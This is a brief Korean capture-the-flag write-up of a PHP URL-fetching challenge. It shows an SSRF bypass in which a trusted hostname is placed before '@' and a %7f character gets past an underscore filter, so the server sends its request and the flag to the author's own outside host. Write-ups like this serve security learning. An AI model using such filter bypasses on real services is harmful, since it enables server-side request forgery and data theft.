write-ups/solveme.safflower.kr

Give me a link write up

2018. 2. 26. 22:26


이런 문제이다. $_GET['url']을 받아서 3개의 분기문(반기문아님)을 거치고 curl을 통해서 flag 를 보내준다. 



preg_match('/^https?\:\/\/givemealink.solveme.peng.kr/i'$url);

해당 코드는 url이 http://giveme.link.solveme.peng.kr 로 시작하는지 확인하는 코드이다. 해당 코드대로 url을 보낸다고 하면 givemealink.solveme.peng.kr.local.domain 처럼 서브도메인을 여러개 파거나, SSRF에서 사용하는 트릭을 이용해서 우회할 수 있다. 해당 트릭은 BlackHat 17 에서 발표된 [ A new ara of SSRF ] 라는 자료를 보면 나온다. 



preg_match('/_|\s|\0/'$url);

사용자로부터 받은 url값에서 언더바나 공백, Null 문자가 있는지 확인한다. _ 언더바를 우회하는게 관건인데, 그냥 스크립트를 돌려 확인하였다. 


찾아보니 많은 문자들로 언더바를 우회할 수 있었다. 나는 이 중에서 http://givemealink.solveme.peng.kr@dimitrust.oa.to/plz%7fgive%7fme를 사용하기로 하였다. 


그리고 curl 로 특정 url에 요청을 보내는데, 하필이면 서비스를 운영 중인 80 포트를 이용해서 쏘기 때문에 nc로 확인할 수 없었다. 그냥 로그를 보기로 하였다. 



재밌는 문제였다. 


'write-ups > solveme.safflower.kr' 카테고리의 다른 글

URL filtering write up  (1) 2018.03.04
Hell JS write up  (0) 2018.03.04
Hash collision write up  (0) 2018.03.04
thirty six write up  (0) 2018.02.27
solveme.safflower.kr bad compare write up  (0) 2017.11.16